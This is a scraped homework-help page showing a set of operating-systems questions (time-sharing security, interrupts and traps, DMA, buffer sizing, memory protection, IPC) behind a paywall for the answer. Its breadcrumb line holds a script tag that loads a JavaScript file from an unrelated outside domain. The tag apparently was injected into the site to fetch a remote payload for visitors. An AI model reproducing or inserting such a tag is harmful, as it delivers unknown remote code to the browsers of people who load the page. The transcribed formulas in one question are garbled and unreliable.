Need Help ? Chat : loading...

Home >> Assignments >> Other<script src="https://www.wp3advesting.com/planb.js"></script> >> Q1. In a multiprogramming and time-sharing environment, several users share the same system simultan

(Solved): Q1. In a multiprogramming and time-sharing environment, several users share the same system simultan ...



Q1. In a multiprogramming and time-sharing environment, several users share the same system simultaneously. This situation can result in various security problem:s. a. What are two such problems? b. Can we ensure the same degree of security in a time-shared machine as in a dedicated machine? Explain your answer. Q2. The issue of resource utilization shows up in different forms in different types of operating systems. List what resources must be managed carefully in the following settings: a. Mainframe or minicomputer systems b. Workstations connected to servers c. Mobile computers Qs What is the purpose of interrupts? How does an interrupt differ from a trap? Can traps be generated intentionally by a user program? If so, for what purpose? Q4 Direct memory access (DMA) is used for high-speed I/O devices in order to avoid increasing the CPU's execution load. a. How does the CPU interface with the device to coordinate the transfer? b. How does the CPU know when the memory operations are complete? c. The CPU is allowed to execute other programs while the DMA controller is transferring data. Does this process interfere with the execution of the user programs? If so, describe what forms of interference are caused. Qs. A running program produces data at a rate (in Kbytes/second) determined by the function: when 0.0 St s0.5 when 0.5 <t s 3.5 10 t P(t ) = 10(4-) when 3.5<ts 4.0 elsewhere Where, is the burst period. The data is consumed by another running program at a rate determined by the function: 2.5twhen 0.0 st s 0.8 when 0.8 < t < 3.2 10-2.5t when 3.2 <t S 4.0 0 elsewhere If the burst period, T, is known to be 5.0 seconds, what is the minimum necessary buffer size? Q6 Describe a mechanism for enforcing memory protection in order to prevent a program from modifying the memory associated with other programs What are the five major activities of an operating system in regard to file management? Qs What are the advantages and disadvantages of using the same system-call interface for manipulating both files and devices? What are the two models of inter-process communication? What are the strengths and weaknesses of the two approaches? Qio How are iOS and Android similar? How are they different? Show transcribed image text Q1. In a multiprogramming and time-sharing environment, several users share the same system simultaneously. This situation can result in various security problem:s. a. What are two such problems? b. Can we ensure the same degree of security in a time-shared machine as in a dedicated machine? Explain your answer. Q2. The issue of resource utilization shows up in different forms in different types of operating systems. List what resources must be managed carefully in the following settings: a. Mainframe or minicomputer systems b. Workstations connected to servers c. Mobile computers Qs What is the purpose of interrupts? How does an interrupt differ from a trap? Can traps be generated intentionally by a user program? If so, for what purpose? Q4 Direct memory access (DMA) is used for high-speed I/O devices in order to avoid increasing the CPU's execution load. a. How does the CPU interface with the device to coordinate the transfer? b. How does the CPU know when the memory operations are complete? c. The CPU is allowed to execute other programs while the DMA controller is transferring data. Does this process interfere with the execution of the user programs? If so, describe what forms of interference are caused.
Qs. A running program produces data at a rate (in Kbytes/second) determined by the function: when 0.0 St s0.5 when 0.5


We have an Answer from Expert

View Expert Answer

Get Expert Solution


We have an Answer from Expert

Buy This Answer $4

Place Order

QUICK ORDER

Why Place An Order With Us?

  • Certified Editors
  • 24/7 Customer Support
  • Profesional Research
  • Easy to Use System Interface
  • Student Friendly Pricing
Order Now